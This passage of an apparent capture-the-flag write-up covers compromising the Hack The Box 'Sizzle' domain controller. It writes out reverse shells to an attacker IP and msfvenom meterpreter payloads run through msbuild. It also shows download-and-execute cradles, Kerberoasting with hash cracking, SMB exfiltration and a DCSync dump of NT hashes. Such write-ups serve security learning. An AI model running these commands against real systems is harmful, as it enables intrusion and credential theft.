<AppLockerPolicy Version="1"><RuleCollection Type="Appx" EnforcementMode="Enabled"><FilePublisherRule Id="a9e18c21-ff8f-43cf-b9fc-db40eed693ba" Name="(Default Rule) All signed packaged apps" Description="Allows members of the Everyone group to run packaged apps that are signed." UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*"><BinaryVersionRange LowSection="0.0.0.0" HighSection="*" /></FilePublisherCondition></Conditions></FilePublisherRule></RuleCollection><RuleCollection Type="Dll" EnforcementMode="NotConfigured" /><RuleCollection Type="Exe" EnforcementMode="Enabled"><FilePathRule Id="a61c8b2c-a319-4cd0-9690-d2177cad7b51" Name="(Default Rule) All files located in the Windows folder" Description="Allows members of the Everyone group to run applications that are located in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition Path="%WINDIR%\*" /></Conditions></FilePathRule><FilePathRule Id="d754b869-d2cc-46af-9c94-6b6e8c10d095" Name="All files located in the Program Files folder" Description="Allows members of the Everyone group to run applications that are located in the Program Files folder." UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition Path="%OSDRIVE%\tmp\*" /></Conditions></FilePathRule><FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544" Action="Allow"><Conditions><FilePathCondition Path="*" /></Conditions></FilePathRule></RuleCollection><RuleCollection Type="Msi" EnforcementMode="Enabled"><FilePublisherRule Id="b7af7102-efde-4369-8a89-7a6a392d1473" Name="(Default Rule) All digitally signed Windows Installer files" Description="Allows members of the Everyone group to run digitally signed Windows Installer files." UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*"><BinaryVersionRange LowSection="0.0.0.0" HighSection="*" /></FilePublisherCondition></Conditions></FilePublisherRule><FilePathRule Id="5b290184-345a-4453-b184-45305f6d9a54" Name="(Default Rule) All Windows Installer files in %systemdrive%\Windows\Installer" Description="Allows members of the Everyone group to run all Windows Installer files located in %systemdrive%\Windows\Installer." UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition Path="%WINDIR%\Installer\*" /></Conditions></FilePathRule><FilePathRule Id="64ad46ff-0d71-4fa0-a30b-3f3d30c5433d" Name="(Default Rule) All Windows Installer files" Description="Allows members of the local Administrators group to run all Windows Installer files." UserOrGroupSid="S-1-5-32-544" Action="Allow"><Conditions><FilePathCondition Path="*.*" /></Conditions></FilePathRule></RuleCollection><RuleCollection Type="Script" EnforcementMode="Enabled"><FilePathRule Id="06dce67b-934c-454f-a263-2515c8796a5d" Name="(Default Rule) All scripts located in the Program Files folder" Description="Allows members of the Everyone group to run scripts that are located in the Program Files folder." UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition Path="%PROGRAMFILES%\*" /></Conditions></FilePathRule><FilePathRule Id="9428c672-5fc3-47f4-808a-a0011f36dd2c" Name="(Default Rule) All scripts located in the Windows folder" Description="Allows members of the Everyone group to run scripts that are located in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition Path="%WINDIR%\*" /></Conditions></FilePathRule><FilePathRule Id="ed97d0cb-15ff-430f-b82c-8d7832957725" Name="(Default Rule) All scripts" Description="Allows members of the local Administrators group to run all scripts." UserOrGroupSid="S-1-5-32-544" Action="Allow"><Conditions><FilePathCondition Path="*" /></Conditions></FilePathRule></RuleCollection></AppLockerPolicy>
PSByPassCLM
PSByPassCLM is a good one for CLM breakout. I’ll build it in a Windows VM making sure to match the .NET version with what is on target (though I could probably also just use the exe in PSBypassCLM/PSBypassCLM/bin/x64/Debug
), and upload the exe to the \appdata\local\temp
directory for amanda.
Next I’ll run with the revshell option:
PS htb\amanda@SIZZLE Documents> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U /revshell=true /rhost=10.10.14.4 /rport=443 \users\amanda\appdata\local\temp\a.exe
Microsoft (R) .NET Framework Installation utility Version 4.6.1586.0
Copyright (C) Microsoft Corporation. All rights reserved.
The uninstall is beginning.
See the contents of the log file for the C:\users\amanda\appdata\local\temp\a.exe assembly's progress.
The file is located at .
Uninstalling assembly 'C:\users\amanda\appdata\local\temp\a.exe'.
Affected parameters are:
assemblypath = C:\users\amanda\appdata\local\temp\a.exe
rport = 443
revshell = true
rhost = 10.10.14.4
logtoconsole = true
logfile =
Trying to connect back...
root@kali# rlwrap nc -lnvp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.103.
Ncat: Connection from 10.10.10.103:62228.
whoami
htb\amanda
PS C:\Users\amanda\Documents> $executioncontext.sessionstate.languagemode
FullLanguage
msbuild
Alternatively, I could also use msbuild as a bypass. In this case, I’ll get a meterpreter session, since I’ll show it as one options for tunneling in the next step. As describe in the article linked above, I’ll create a payload with msfvenom
in C# format:
root@kali# msfvenom --platform windows -p windows/meterpreter/reverse_tcp lhost=10.10.14.4 lport=445 -e x86/shikata_ga_nai -i 20 -f csharp -o meterpreter_445.cs -v shellcode
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 20 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai succeeded with size 395 (iteration=1)
x86/shikata_ga_nai succeeded with size 422 (iteration=2)
x86/shikata_ga_nai succeeded with size 449 (iteration=3)
x86/shikata_ga_nai succeeded with size 476 (iteration=4)
x86/shikata_ga_nai succeeded with size 503 (iteration=5)
x86/shikata_ga_nai succeeded with size 530 (iteration=6)
x86/shikata_ga_nai succeeded with size 557 (iteration=7)
x86/shikata_ga_nai succeeded with size 584 (iteration=8)
x86/shikata_ga_nai succeeded with size 611 (iteration=9)
x86/shikata_ga_nai succeeded with size 638 (iteration=10)
x86/shikata_ga_nai succeeded with size 665 (iteration=11)
x86/shikata_ga_nai succeeded with size 692 (iteration=12)
x86/shikata_ga_nai succeeded with size 719 (iteration=13)
x86/shikata_ga_nai succeeded with size 746 (iteration=14)
x86/shikata_ga_nai succeeded with size 773 (iteration=15)
x86/shikata_ga_nai succeeded with size 800 (iteration=16)
x86/shikata_ga_nai succeeded with size 827 (iteration=17)
x86/shikata_ga_nai succeeded with size 854 (iteration=18)
x86/shikata_ga_nai succeeded with size 881 (iteration=19)
x86/shikata_ga_nai chosen with final size 881
Payload size: 881 bytes
Final size of csharp file: 4501 bytes
Saved as: meterpreter_445.cs
I’ll take the output of msfvenom
add to this xml, and name the file with a .csproj
extension. I’ll upload it to Sizzle:
PS C:\users\amanda\appdata\local\temp> iwr -uri http://10.10.14.4/meterpreter.csproj -outfile a.csproj
Start a listener in Metasploit:
msf exploit(multi/handler) > options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.14.4 yes The listen address (an interface may be specified)
LPORT 445 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.4:445
Run msbuild
with the project:
PS C:\users\amanda\appdata\local\temp> c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe a.csproj
And get a session:
[*] Started reverse TCP handler on 10.10.14.4:445
[*] Sending stage (179779 bytes) to 10.10.10.103
[*] Meterpreter session 1 opened (10.10.14.4:445 -> 10.10.10.103:60542) at 2019-01-31 10:03:20 -0500
meterpreter > getuid
Server username: HTB\amanda
Privesc: amanda –> mrlky
Kerberoasting
Enumeration
I can see on the local box that port 88 is listening:
PS htb\amanda@SIZZLE Documents> netstat -ap tcp
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:21 sizzle:0 LISTENING
TCP 0.0.0.0:80 sizzle:0 LISTENING
TCP 0.0.0.0:88 sizzle:0 LISTENING
TCP 0.0.0.0:135 sizzle:0 LISTENING
TCP 0.0.0.0:389 sizzle:0 LISTENING
TCP 0.0.0.0:443 sizzle:0 LISTENING
TCP 0.0.0.0:445 sizzle:0 LISTENING
TCP 0.0.0.0:464 sizzle:0 LISTENING
TCP 0.0.0.0:593 sizzle:0 LISTENING
TCP 0.0.0.0:636 sizzle:0 LISTENING
TCP 0.0.0.0:3268 sizzle:0 LISTENING
TCP 0.0.0.0:3269 sizzle:0 LISTENING
TCP 0.0.0.0:5985 sizzle:0 LISTENING
TCP 0.0.0.0:5986 sizzle:0 LISTENING
TCP 0.0.0.0:9389 sizzle:0 LISTENING
TCP 0.0.0.0:47001 sizzle:0 LISTENING
TCP 0.0.0.0:49664 sizzle:0 LISTENING
TCP 0.0.0.0:49665 sizzle:0 LISTENING
TCP 0.0.0.0:49666 sizzle:0 LISTENING
TCP 0.0.0.0:49668 sizzle:0 LISTENING
TCP 0.0.0.0:49679 sizzle:0 LISTENING
TCP 0.0.0.0:49680 sizzle:0 LISTENING
TCP 0.0.0.0:49681 sizzle:0 LISTENING
TCP 0.0.0.0:49682 sizzle:0 LISTENING
TCP 0.0.0.0:49685 sizzle:0 LISTENING
TCP 0.0.0.0:49694 sizzle:0 LISTENING
TCP 0.0.0.0:55071 sizzle:0 LISTENING
TCP 0.0.0.0:55082 sizzle:0 LISTENING
TCP 10.10.10.103:53 sizzle:0 LISTENING
TCP 10.10.10.103:139 sizzle:0 LISTENING
TCP 10.10.10.103:5986 10.10.14.4:51558 ESTABLISHED
TCP 127.0.0.1:53 sizzle:0 LISTENING
Since that didn’t show up in the original nmap
, it must be firewalled off. But now that I have access to port 88 locally, I can Kerberoast. I cover the background on Kerberoasting in the Active Writeup.
I’ll show four different ways to get access and Kerberoast. First I’ll show Rubeus, then I’ll show three different ways to port forward such that I can run GetUserSPNs.py
from my local host.
Rubeus
Rubeus is a C# toolset for Kerberos interaction and abuse. I’ll clone the repo to my Windows box, and build a copy there. I’ll upload the resulting exe to \windows\temp
, as that’s one place that AppLocker isn’t restricting (I can’t see what’s in the folder, so I’ll have to remember what I upload). Now I can run it:
PS C:\windows\temp> .\r.exe kerberoast /creduser:htb.local\amanda /credpassword:Ashare1972
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.2.1
[*] Action: Kerberoasting
[*] SamAccountName : mrlky
[*] DistinguishedName : CN=mrlky,CN=Users,DC=HTB,DC=LOCAL
[*] ServicePrincipalName : http/sizzle
[*] Hash : $krb5tgs$23$*$HTB.LOCAL$http/sizzle*$D098430AE05C48336310FDBED548DE7E$6EB4E8F897
9E5178A8C870779F51B40ECDFA234350DE5C65B71774F336D7BB4D3605EF7F348EF5CBC9D4E23AB8
A2C0D312B5037E47C9EF5F11A8261B02A81E7992E86FFF6FEFC5E24677C09C223E7F2FB132D28D2B
4F3DDAEA4B9E0510E71D146337752FA916D51F84C7D6B85A7C61B96B8728DAA327802E6C2D8DC74A
A4F92F12AB79EA7776A61AAA7208DFEA2AB24E25B374176FA18E89FCAD1705D340023098D73A41BE
37F24593B76EE4EAE97398FF869BE05F0EFBBDE73E451DD381E906BEB0FF1993100255AF803B389B
1659F6929252AE022833D5BB80FA95F5F1011018E56684B53CD5230115087E7AB4AFCAEED0442135
0AFB0C5944B0914D764E820D785056D1281EDDA26385F67BDAEE6B67B5D1E34F667452327EF04098
BE3429BF8F6E935245D1AE2C447ED600733CF93E48B53004E4E4B08EC04AF2DEF6DE263658274B50
4A60D2D442B6226C4D88AD2C51AA3C9ECA00D6A38BD34BE08B39CEC60C3E1169D439D76B725FA6D8
80013251E3CCE6B631CA150FF7D2AB8951D22FCC2AC08A80F7B0B9391ED805FFCE7507A9249B1BD9
671482AC5A27BE5BF5FDC3B71355C1F78F165B17FD4A7C96392B075ACF42068E531B8F0042ED0F3F
760CB92E3F767213E3355BE30DDAD575B5C36BA57E4A425C30715FD763D151C42739DE1E3935CE05
15591F7D79BD9D4DC4F942B9BBD833C2636747AC48A5623D9845FAF874D7477A63D4182D59954A63
308511A10FD5940C57C14FC441898039375B2104BEDFC1E5DCA60B36F10582F48750BEE432A67481
5FC320B2D905F5585325565EAC1023BC17C0F67E46EC36449F7F9DB43734959101E90A89297F63D2
E432D53BEC6D20BC9FCFEB98C0E41D17DF2DF80DE28CA4D8450A6B28CEE66B7C39EE1A63FE2579FC
0D53FFF9803DCA2DD752506D3E01D39239357E7CCE0057FE8DF033D4B90538AF9D4249D81D100BF1
299BC37B7E09670576796B04039CBE5D13F042E7DACA692E5D9A2A89926E41A03EACE63A5B74F1A4
53D708FA158A4DDD282C340D73E1ECC788DF48533021A393C3105B5655E80224E9883A655C91C6EB
1C49AEC08A71A1D0D57A321119AF6A298F1353046C4E9B366DFE44FF1E5B893A376873983F9B9DF1
24426EC8A2F504334D418DF0DBA48D5B55AE312EB8C734763E8DCAAAF27C55824D826C6E288C7291
0A4CF8219A3C7037CDC8E00505E697B11FF5164C6861C467612787FFB5CE3AE1C525F7D7D2E346EB
0D2CBA9AB11BED38EAD91913212C15B5FB371615AE1763A3F9B4478C65CEA9420D7AD1C0F6911DAE
E574DB3E8193E475A43A63189288F2FB2DA6FDE4298CEC21F00BBED158CAC03F573D808F3B60AA96
80
Chisel Port Forward
I can run exes out of windows\temp… I can’t read in there, so need to track what i upload. I’ll grab the chisel binary from site: https://github.com/jpillora/chisel/releases. I’ll start the server on my host, and start a python
http server so I can get chisel
to target. Then I’ll run:
PS C:\windows\temp> iwr -uri http://10.10.14.4/chisel_windows_amd64.exe -outfile c.exe
PS C:\windows\temp> .\c.exe client 10.10.14.4:8008 R:88:127.0.0.1:88 R:389:localhost:389
The server sees:
root@kali# /opt/chisel/chisel server -p 8008 --reverse
2019/01/31 15:15:42 server: Reverse tunnelling enabled
2019/01/31 15:15:42 server: Fingerprint dd:1c:ff:0d:c8:c9:c5:3b:6a:06:e0:46:fb:05:e3:92
2019/01/31 15:15:42 server: Listening on 0.0.0.0:8008...
2019/01/31 15:18:55 server: session#1: Client version (1.3.1) differs from server version (0.0.0-src)
2019/01/31 15:18:55 server: proxy#1:R:0.0.0.0:88=>127.0.0.1:88: Listening
2019/01/31 15:18:55 server: proxy#2:R:0.0.0.0:389=>localhost:389: Listening
Now kerberoast:
root@kali# GetUserSPNs.py -request -dc-ip 127.0.0.1 htb.local/amanda -save -outputfile GetUserSPNs.out
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation
Password:
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
-------------------- ----- ----------------------------------------------------- ------------------- -------------------
http/sizzle mrlky CN=Remote Management Users,CN=Builtin,DC=HTB,DC=LOCAL 2018-07-10 14:08:09 2018-07-12 10:23:50
[-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
What? I’ll check the times:
PS htb\amanda@SIZZLE temp> date
Thursday, January 31, 2019 06:12:24 AM
root@kali# date
Thu Jan 31 06:20:45 EST 2019
For kerberos to work, times have to be within 5 minutes.
root@kali# date +%T -s "06:12:24"
06:12:24
root@kali# date
Thu Jan 31 06:12:27 EST 2019
I’ll run again, and get the hash:
root@kali# GetUserSPNs.py -request -dc-ip 127.0.0.1 htb.local/amanda
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation
Password:
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
-------------------- ----- ----------------------------------------------------- ------------------- -------------------
http/sizzle mrlky CN=Remote Management Users,CN=Builtin,DC=HTB,DC=LOCAL 2018-07-10 14:08:09 2019-01-31 11:28:40
$krb5tgs$23$*mrlky$HTB.LOCAL$http/sizzle*$7e9b64b7d5699f77c24bb5e091f958b9$b2f621ccaf317fe23bb8d38bcf46e7e6db72ee80bfc46d74f49d8f289bd00fd0cb00530f07ab266b032b15451b56db089864f7ae9c75e68d5a797e409f394bafffab1e28baa735af5bef6d9974d2239f1b856ebae73f1393aa9ca20af62f21e3ba8c83b3c749e6a9f2ed06adbe5555ae508db7cf85416862ceaa000fe3af85024eb14c340d52c00ed83aa9eaed3956666215987e020adcde5576fe0af35bd80ee552503400a8feb92ca030ed75c4934fc4508c10090a1f074ad738b26c054d9efd9bec6c9912f8a5d02896dd5ab34584eab6653b11ad826bf08c24f218d236e603ec25a8d40c7f0fd35fecce1e57a0ad899208ccec1df848e0139f2549ac4a2f5d3ba3baf1d51b3b2644f70f65a8db016d41f8cc459d961d640eedd93e2ce08ba17f65a892c4e374e8d4bb45f890a210156dc17d569c6b44b9680b5e3d42259a7b12a7e1cb5d7120e87771924b16d1c33f8eaca5d4337db36d80a7a0843702fa8415ae94fb389e4419012054fdaf237fb2477c8974f1be2a73cbc81ffd994904114b1ee4ca31a555eab060df88f5255d88ec3677133dc255c6d7703eac3fac958fbd74ab429b7f33f0f7d206e4fdcbb26bce4143dfd69101dc46e141c96697ee38902368b6a3eb216792962ae2228b186f718b7e69306f275320ed1030d830950f042f6e02fb6593b369806c324c521cbc2f4092e59339dc88abcd5f348d56ede5585bb05d62097a218f38a32122afca6cd8d507b8c753ec80dc492bf0975d2071cbd57f1e81b23c26c0a05876c37da6127273c6e6b746f3d90d79c4c9f37ff4e9d628d570b01d71df5f7b313b1c0430102b8b4f815eee195f3b27cc1900a7f8c457612da76c9ad95d3a5cfa3220c2c26da25c7a0a8edc95ad85baa386b808326ad2347c3c30e79abe85964fabc4423ff0fe786885022de638027b030784bde2f4816922ab0ad795ba5c5fcae70a01b0e731ee48a39041989c409aca5e84648d1c322f36e213db9988a9550cc5477f77adb681cb310306f00324bbad57b98844d2a426f32f946fd2f2fdba4117a1ae4299fcb60aa4c6e71eea3168e7f1ff30dbff3e62de87cf27bdd66e64e0c9579a6dbc2eabdcf9b83fe7cbf5982762b1d53226d6e6a1107d32d46f5b0128d3ecfd9da61f8235e942734762d5771c92b85480dcd66d3924110131793ebb4885ff197760ca596d9264b4ed1f2d6c7865149d00511737b6eac12a0d7c531535ab5a65087eb510507c5f29d1
Meterpreter Port Forward
From my meterpreter session I can set up a port forward for 389 and 88:
meterpreter > portfwd add -l 389 -p 389 -r 10.10.10.103
[*] Local TCP relay created: :389 <-> 10.10.10.103:389
meterpreter > portfwd add -l 88 -p 88 -r 10.10.10.103
[*] Local TCP relay created: :88 <-> 10.10.10.103:88
Then I can run GetUserSPNs.py
as above.
Meterpreter socks
I could also use a proxy and proxychains
:
msf auxiliary(gather/get_user_spns) > use auxiliary/server/socks4a
msf auxiliary(server/socks4a) > options
Module options (auxiliary/server/socks4a):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on.
Auxiliary action:
Name Description
---- -----------
Proxy
msf auxiliary(server/socks4a) > run
[*] Auxiliary module running as background job 0.
[*] Starting the socks4a proxy server
msf auxiliary(server/socks4a) > route add 10.10.10.103 255.255.255.255 1
I’ll check /etc/proxychains.conf
:
strict_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks4 127.0.0.1 1080
Now I can run the script, with proxychains
in front:
root@kali# proxychains GetUserSPNs.py -request -dc-ip 10.10.10.103 htb.local/amanda
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation
Password:
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.103:389-<><>-OK
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
-------------------- ----- ----------------------------------------------------- ------------------- -------------------
http/sizzle mrlky CN=Remote Management Users,CN=Builtin,DC=HTB,DC=LOCAL 2018-07-10 14:08:09 2018-07-12 10:23:50
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.103:88-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.103:88-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.103:88-<><>-OK
$krb5tgs$23$*mrlky$HTB.LOCAL$http/sizzle*$b571ee47fc7e8ce94ed6cf97061...[snip]...
Crack NetNTLMv2
Regardless of how I got it, the next step is to crack the hash. I’ll use hashcat
:
$ hashcat -m 13100 -a 0 mrlky.ticket /usr/share/wordlists/rockyou.txt --force
hashcat (v4.0.1) starting...
OpenCL Platform #1: The pocl project
====================================
* Device #1: pthread-Intel(R) Core(TM) i7-7700 CPU @ 3.60GHz, 8192/29068 MB allocatable, 8MCU
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
Password length minimum: 0
Password length maximum: 256
ATTENTION! Pure (unoptimized) OpenCL kernels selected.
This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance.
If you want to switch to optimized OpenCL kernels, append -O to your commandline.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Watchdog: Temperature retain trigger disabled.
* Device #1: build_opts '-I /usr/share/hashcat/OpenCL -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=1 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D DGST_ELEM=4 -D KERN_TYPE=13100 -D _unroll'
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
- Device #1: autotuned kernel-accel to 32
- Device #1: autotuned kernel-loops to 1
$krb5tgs$23$*mrlky$HTB.LOCAL$http/sizzle*$4cc14f288e6087d7ebf2ab6750a0ac09$e8434ab472bf2203b18ff05437a50452fedef5ab2655023cbbc09834dd834d9076337d5050be3c3a3306351c05371aec98c15d93336c6cbefaf081061f71745874746215d8053ada5664e4f4d55d0b7ad161d8cca3c3585f0974d45a0e889da45a6f3658875f6ba91f5e7a26b0a664142fd48e4931f28e8f32dd90c776db6ccf994855a3d6f21b365bc40b24a42c5ad9fadb424852c8a3c8e3a73bb7e1ea549f0a971015f954d9b468df5359a00fbafceee9b5fab173106875eb6ebb851ebf6655f6d4567b9b3e91d5669ab42fffd82309606420ca08600ad1e1fdd99eba461b2d5d23851bf55d37b8ee75c3d371f7deb7e9de9e69953853df3e1023f1cdb88bc3ba44d8ecf1d7b54b841272b3c48a5a0ddd2918d2137bb2f2e09c8d1186fb29d2b2ef1504fbf836e252f98a23190b376bc7a637bf4b6c0595a7f7dba7f3eade2d13b160b91c134a884b52e6eec2732a274e91f892d5b1d33cb030d3f6371ad61bdd2cfcb64c4412eb4a04d53b4a3481e6f822fcb78467e8bec59ba7779793a7e66d0e8cbcc6ab115f311f7d1d4c9bf0a19e120da35ad5ce2f2475dae50227558af76245237b8806fd1ff82f5a107dae70167c43cec018d8caddcbb2b9da726758cc62c5e39c710b61a6e0d8c7050f86236d3293c107f1927d9ca24b3f26ad8b6d93fcb29f9b69614580f34e3b7e786f97b25709eff561c865d30c66318d7d9ff894003589cef4f7e4b40e209983737f5d0eefc53e99a19ba6ed360832b81cf87dc8e9c0cec2b710ac0b203f369543a978753a984c6cf2e14987e13772cdf96ab110514899f7251d076244e9aac1f0d84bf0813f806d5ea5ad9162d41fc3b7c600202407a418b23d7a51828e73b49e8f8e69b8720c40a1cb2cfd96bfa2554e8de8988030dc68e73ced5303ee47d2bf7b0cee71648bd18f0c32de7a16d42e5042b94ed0a0a1369b7de7d9f6886acd54a5beb60a2075d8461baf84f207f454839d144d318d23b1bbb35298e414af65330c0b36cf8d3502937b575982857b91caffe252d0aeebf55c920312ba03f03294f39db08418766f524f5b2d0b673228fde39805d759c15e128d31c4cc02c7baaeba93559a044b47cc501a4a873055f95b1b8f03008de3ee005bc344157b3c2e605c7a973d5aa90c899cb44a03df2738fc50e74b2f6e2b0c3a605e0f8114009c5a05ff2351a0c149fe76342909601f595a662af738d0f4a5c0fec6a2fc76098477301083dc832b076640:Football#7
Session..........: hashcat
Status...........: Cracked
Hash.Type........: Kerberos 5 TGS-REP etype 23
Hash.Target......: $krb5tgs$23$*mrlky$HTB.LOCAL$http/sizzle*$4cc14f288...076640
Time.Started.....: Thu Jan 31 06:52:43 2019 (11 secs)
Time.Estimated...: Thu Jan 31 06:52:54 2019 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 1012.6 kH/s (8.05ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 11173888/14344385 (77.90%)
Rejected.........: 0/11173888 (0.00%)
Restore.Point....: 11157504/14344385 (77.78%)
Candidates.#1....: GAVINL -> Fake@smile
HWMon.Dev.#1.....: N/A
Started: Thu Jan 31 06:52:43 2019
Stopped: Thu Jan 31 06:52:54 2019
Now I have a password for mrlky, “Football#7”.
WinRM Shell as mrlky
I’ll do the same process again for mrlky that I had done for amanda and create a certificate.
root@kali# openssl pkcs12 -in mrlky.p12 -nocerts -out mrlky.key
Enter Import Password:
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
root@kali# openssl pkcs12 -in mrlky.p12 -clcerts -nokeys -out mrlky.crt
Enter Import Password:
Then I’ll make another copy of winrm_shell.rb
and get a shell as mrlky:
root@kali# cat winrm_shell-mrlky.rb
require 'winrm'
# Author: Alamot
conn = WinRM::Connection.new(
endpoint: 'https://10.10.10.103:5986/wsman',
transport: :ssl,
client_cert: 'mrlky.crt',
client_key: 'mrlky.key',
key_pass: '0xdf',
:no_ssl_peer_verification => true
)
command=""
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
output = shell.run(command) do |stdout, stderr|
STDOUT.print stdout
STDERR.print stderr
end
end
puts "Exiting with code #{output.exitcode}"
end
root@kali# ruby winrm_shell-mrlky.rb
PS htb\mrlky@SIZZLE Documents>
From here I can grab user.txt
:
PS htb\mrlky@SIZZLE desktop> dir
Directory: C:\Users\mrlky\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 7/10/2018 6:24 PM 32 user.txt
PS htb\mrlky@SIZZLE desktop> type user.txt
a6ca1f8e...
Privesc: mrlky –> administrator
BloodHound
I’ll run bloodhound to understand what permissions are available to me and other users one this host. Upload and run it:
PS C:\users\amanda\appdata\local\temp> iex(new-object net.webclient).downloadstring('http://10.10.14.4/SharpHound.ps1')
PS C:\users\amanda\appdata\local\temp> invoke-bloodhound -collectionmethod all
PS C:\users\amanda\appdata\local\temp> ls
Directory: C:\users\amanda\appdata\local\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/10/2018 4:58 PM Low
-a---- 1/31/2019 12:15 PM 7284 20190131121540_BloodHound.zip
-a---- 1/31/2019 9:46 AM 7761 a.csproj
-a---- 1/31/2019 6:03 AM 34816 a.exe
-a---- 1/31/2019 10:54 AM 10752 Amsi.dll
-a---- 1/31/2019 9:33 AM 7680 b.exe
-a---- 1/31/2019 12:15 PM 5911 BloodHound.bin
-a---- 1/31/2019 10:48 AM 7613952 c.exe
-a---- 1/31/2019 12:14 PM 882999 s.ps1
-a---- 7/11/2018 1:59 PM 495 StructuredQuery.log
-a---- 7/10/2018 4:58 PM 687 wmsetup.log
-a---- 1/31/2019 10:53 AM 34816 z.exe
To get the output off, I’ll use smbserver.py
. Sizzle won’t connect to an unauthenticated share:
PS htb\amanda@SIZZLE Documents> net use \\10.10.14.4\share
net.exe : System error 58 has occurred.
+ CategoryInfo : NotSpecified: (System error 58 has occurred.:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
The specified server cannot perform the requested operation.
But, if I run smbserver.py
with the -username
and -password
options, it works fine:
root@kali# smbserver.py -smb2support share . -username df -password df
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Now connect to the share:
PS htb\amanda@SIZZLE Documents> net use \\10.10.14.4\share /u:df df
The command completed successfully.
And now I can exfil:
PS htb\amanda@SIZZLE temp> copy 20190131121540_BloodHound.zip \\10.10.14.4\share\
I’ll open bloodhound on my local machine (see my Reel writeup for background and details on getting it set up), upload the zip, and start with mrlky and look at node info. Outbound object control shows 1, and clicking that one brings the domain onto the screen with GetChanges
and GetChangesAll
privileges:
DCSync
This means I’m in position to do a dcsync attack. The idea is that I will replicate the DC account password data as if I were another DC. For more details, check out this post from yojimbosecurity or this from adsecurity.
I can run the attack with secretsdump.py
from my host without any port forwarding:
root@kali# secretsdump.py -just-dc mrlky:Football#7@10.10.10.103
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f6b7160bfc91823792e0ac3a162c9267:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:296ec447eee58283143efbd5d39408c8:::
